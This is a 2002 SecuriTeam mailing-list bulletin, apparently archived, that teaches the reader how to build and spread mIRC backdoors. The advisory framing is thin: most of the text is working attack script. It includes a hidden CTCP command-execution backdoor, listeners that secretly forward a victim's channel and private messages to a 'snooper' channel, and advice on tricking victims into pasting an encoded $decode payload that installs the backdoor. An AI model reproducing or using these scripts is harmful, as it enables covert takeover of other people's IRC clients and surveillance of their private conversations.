

[NT] mIRC Backdoors – An Advanced Overview

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0152.html>

From: support@securiteam.com

Date: 02/28/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 28 Feb 2002 09:38:57 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

mIRC Backdoors – An Advanced Overview

SUMMARY

IRC (Internet Relay Chat) is a virtual meeting place where people from all over the world can meet and talk; you'll find the whole diversity of human interests, ideas, and issues here, and you'll be able to participate in group discussions on one of the many thousands of IRC channels, or just talk in private to family or friends, wherever they are in the world. To use IRC you need a small program like <<http://www.mirc.co.uk/>> mIRC, a shareware IRC client for Windows. The following is an advanced overview of the features that mIRC has that allow writing of advance backdoors.

DETAILS

mIRC-scripting language is essentially a complete language, you can do anything with it. You can write socket scripts to connect to remote hosts, you can write war scripts to takeover IRC channels, you can write popups to slap your pals with trout's, you can write !8ball scripts to keep everyone entertained. The list is endless. However, remember, we said you could do anything with this language. There are commands which write to disk, there are commands which read (and print) files. Some of these commands are dangerous when used in the wrong environment. Nevertheless, it does not stop there.

There are some mIRC "remotes" (see mIRC.hlp, shipped with the mIRC client) which can be used to setup servers and backdoors, without the user

noticing any differences. This tutorial is about these remotes and commands and how to use them in a dangerous way. We will teach you the basics of how mIRC backdoors work and will show a few examples of backdoors.

What remote listeners do we need to use?

mIRC has many "remote listeners" (we are not sure of the actual term, so we will use the term "remote listeners" from here onwards. This applies to a piece of script which is in the form "on *:EVENT*:*:{ Commands here }", for example "on *:TEXT:*trout*:*:{ /say Ouch ! }") moreover, a lot of them are of no use to us for what we are trying to achieve.

The remote listeners that we are interested in this paper are:

```
ctcp *:*:*: { }
on *:NICK: { }
on *:JOIN:#: { }
on *:TEXT:*::*: { }
on *:QUIT: { }
on *:PART:#: { }
```

Where do we begin?

All right, so we are now ready to look at an example of a mIRC backdoor. This backdoor is small, merely one line of code:

```
ctcp ^*:DO*: { . $+ $2- | .halt }
```

Now, if you are looking at that and wondering "What the ..." then we suggest you buck up your knowledge of the mIRC scripting language before continuing, otherwise you will find this hard to understand. We will break the code down for you and try to provide an understandable explanation.

It starts with "ctcp ^*:", which tells the script to listen for any incoming CTCP events (from any user level (See mIRC.hlp "Access Levels")). If you did not know that, then do some reading.

Next, we have "DO:" which tells the script that the ctcp event we are listening for is DO (/ctcp user DO, similar to /ctcp user PING, for example).

After that, we come to a "*:" which tells the script that the ctcp event can be in any form (this is not important).

Then we have the open curly bracket that tells the script to execute the commands enclosed in the brackets if all of the above conditions are met. The command inside the curly brackets is ". \$+ \$2- | .halt". The period/dot/full stop is a feature in mIRC that if used, makes the commands executed "invisible" to the user — they do not see them happening.

Try it yourself, make a popup to slap somebody, but make it execute "/.me slaps you". Therefore, we know that whatever is executed in this remote listener will not be seen by our victim. Which is a good thing, right?

Securiteam: [NT] mIRC Backdoors – An Advanced Overview

After the period/dot/full stop, we come to a dollar sign with a plus sign appended to it. This "attaches" one value to another. So if we printed "hell \$+ o world" it would print "hello world". We tend to use \$+ when appending one \$variable to another, because a simple \$one\$two would not work. Following the \$+ we have \$2-, which takes the second value specified and everything after it (the "-" defines this. If it were merely \$2 then it would just be the second value specified). Therefore, when someone executes /ctcp nickname DO blah blah, "DO" is the value assigned to \$1 and "blah" is the value assigned to \$2. The value assigned to \$2- would be "blah blah". Then it finishes with "|.halt".

This merely ends the first command and executes a second command, ".halt", which makes everything that was executed before it not seen by the victim.

So let us analyze what we have here. If somebody executes "/ctcp nickname DO msg ReDeeMeR asdf", what would happen? Ok, well, our remote listener is set to listen for an incoming CTCP DO event and if we receive one, it then executes the command . \$+ \$2-, which in this example would be .msg ReDeeMeR asdf. Therefore, our victim would message user "ReDeeMeR" the text "asdf" and the important factor here is that they would not know they have done it -- they see nothing.

There we have it, a working and functional backdoor, in one small line of code! It is important to remember that this backdoor is not used with "/ctcp nickname DO /msg ReDeeMeR asdf", the forward slash is not required, otherwise they would execute "./msg ReDeeMeR asdf", which would not work.

Further advanced backdoors:

The backdoor that was explained above is all very well, but the user can be lost, what if they part all channels and then change their nickname? You may have lost them. So the answer to this is that you can create a more advanced backdoor which enables you to view the victims' movements more easily. The disadvantage of this backdoor type is that it requires more than one line of code, so hiding it in scripts is more difficult, and socially engineering them to paste it into their remotes file will need more convincing. Before constructing this backdoor, we need to record all of the ways that our victim can escape us. Then we need to write some code that will inform us of any changes that may have an impact on our black hat activities concerning them. So firstly, we need to set up a "snooper" channel that will be used to monitor our victims' movements. Anything they do will be sent to this channel.

In our example we will use the channel "#hellsnooper", but you can call your snooping channel whatever you wish, just make sure the chanmode is -n!

Once you have setup your snooper channel, you need to start constructing the backdoor. First, you need to write down all of the ways in which the victim can escape us. These are what we came up with a few years ago:

* QUIT – They can /quit IRC and you have lost them for good ... nothing we can do about that

* PART – They can /part a #chan or even /partall

Securiteam: [NT] mIRC Backdoors – An Advanced Overview

* NICK – They can change their nickname

These three events are the main ways in which our victim can escape our attention. Therefore, we need to code some remote listeners that either counter act these events or inform us of the changes made.

Look at this code snippet:

```
on *:PART:#:{ .msg #hellsnooper I have just parted $chan }
```

Obviously, this would message #hellsnooper the details of the #chan(s) that the victim has just parted. So ideally the victim will now no longer be able to /partall AND lose us. Remember that the dot "." hides the command from the victim.

Next we need to counter act the /nick change, or inform us of the change. So check out this code snippet:

```
on *:NICK:{ .msg #hellsnooper My nickname is now $newnick (previously $nick ) }
```

This code informs us of the victim's new nickname and it tells us what his old nickname was, in case we have multiple victims. Now our victim cannot lose our attention by changing his nickname.

The only way to let us know if our victim has left IRC is to modify the /quit alias. Therefore, in the aliases section we need to add our new alias, like this:

```
/quit { .msg #hellsnooper I have /quit IRC (Reason: $1-) !:(| .raw -q quit $1- }
```

This new alias is the same as the old /quit alias, the only difference is that it messages our #hellsnooper chan beforehand letting us know that the victim has left IRC.

Those three remote listeners should cover any methods of escape, so now you have a perfectly functioning backdoor to play with. However, what if you are more intrigued as to what our victim gets up to? Well you can monitor practically everything they do inside their mIRC client whilst they are connected to the same server as you are. Let us assume you are a nosey person and you want to see what your victim is typing in other #channels or windows. Look at the following remote listener:

```
on *:TEXT:*:#:{ .msg #hellsnooper I have just said " $+ $1- $+ " in $chan }
```

By now, we would imagine you could see what this remote listener does. Now look at this remote listener:

Securiteam: [NT] mIRC Backdoors – An Advanced Overview

```
on *:TEXT:*.?:{ .msg #hellsnooper I have just said " $+ $1- $+ " to $active }
```

Can you see what this one does? It does the same as the first, but it triggers when the victim types something in a window that is not a #chan. You may also want to create a remote listener for any events inside a DCC CHAT window. Use `on *:TEXT:*.!:{ margh42 }` to do that.

You might want to see which #channels your victim is joining, so set this one up too:

```
on *:JOIN:#:{ .msg #hellsnooper I have just joined $chan }
```

You can work out what that one does, for sure.

So now what? we have our backdoor ready!

OK, good, you are ready to infect your victim(s). Nevertheless, are you sure your backdoor works completely? You do not want to hand it out and then find that it does not work, because you probably only have one shot at this before the victim(s) become(s) suspicious. Therefore, the first thing you must do is thoroughly check the backdoor to be certain that it is functional and reliable. Once you have done that you need to decide how you are going to spread the backdoor. There are three (main) ways of doing this. Firstly, you can create an entire mIRC script, hide your backdoors in there, and hope that you victim do not notice. That method is fine, but it only gains you random victims, you (usually) cannot target somebody that way. Secondly, you can get the victim to paste the remote listeners into their remote files. This requires a victim who is completely brain dead and they must trust you totally. Thirdly, you can get them to type a few commands to set it !

```
/.timer 1 2 /.msg #ch0wn Owned ... | /.timer 1 10 /.load -rs  
c:\testing.mrc | /.write c:\testing.mrc ctc ^*:DO:*. { . $chr(36) $+  
$chr(43) $chr(36) $+ 2 $+ - $chr(124) $chr(46) $+ halt $chr(125)
```

This is all perfectly well and good, but most victims can see through that and will bite your head off for it. So you need to \$encode it with something. Hit [F1] in mIRC and look up \$encode. It is our lucky day! The \$encode function encodes a string into MIME type or various other (weak) encryption methods. However, there is also a \$decode function too. Therefore, what you can do is encode that command string above and get them to \$decode it, which will execute it if you tell them to do it under the right circumstances.

E.g.:

```
//$decode(Ly50aW1lciAxIDIgLy5tc2cgI2NoMHduIE93bmVkiC4uLiB8IC8udGltZXIgaMSAxMCAvLmx  
vYWQgLXJzIGM6XHRlc3RpbmcubXJjIHwgLy53cmI0ZSBjOlx0ZXN0aW5nLm1yYyBjdGNwIF4qOkR  
POio6eyAuICRjaHIoMzYpICQrICRjaHIoNDMpICRjaHIoMzYpICQrIDIgJCsgLSAkY2hyKDEyNSkgJG  
Nocig0NikgJCsgaGFsdCAkY2hyKDEyNSk=,m)
```

(DO NOT ACTUALLY TYPE THAT BECAUSE IT WILL BACKDOOR YOUR mIRC !)

Securiteam: [NT] mIRC Backdoors – An Advanced Overview

Now, can you dissect that \$decode function to see what it does? we will leave you to it.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:g0tr00t@usa.net>> ReDeeMeR.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Multiple Remote Vulnerabilities in PHP's Fileupload Code"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)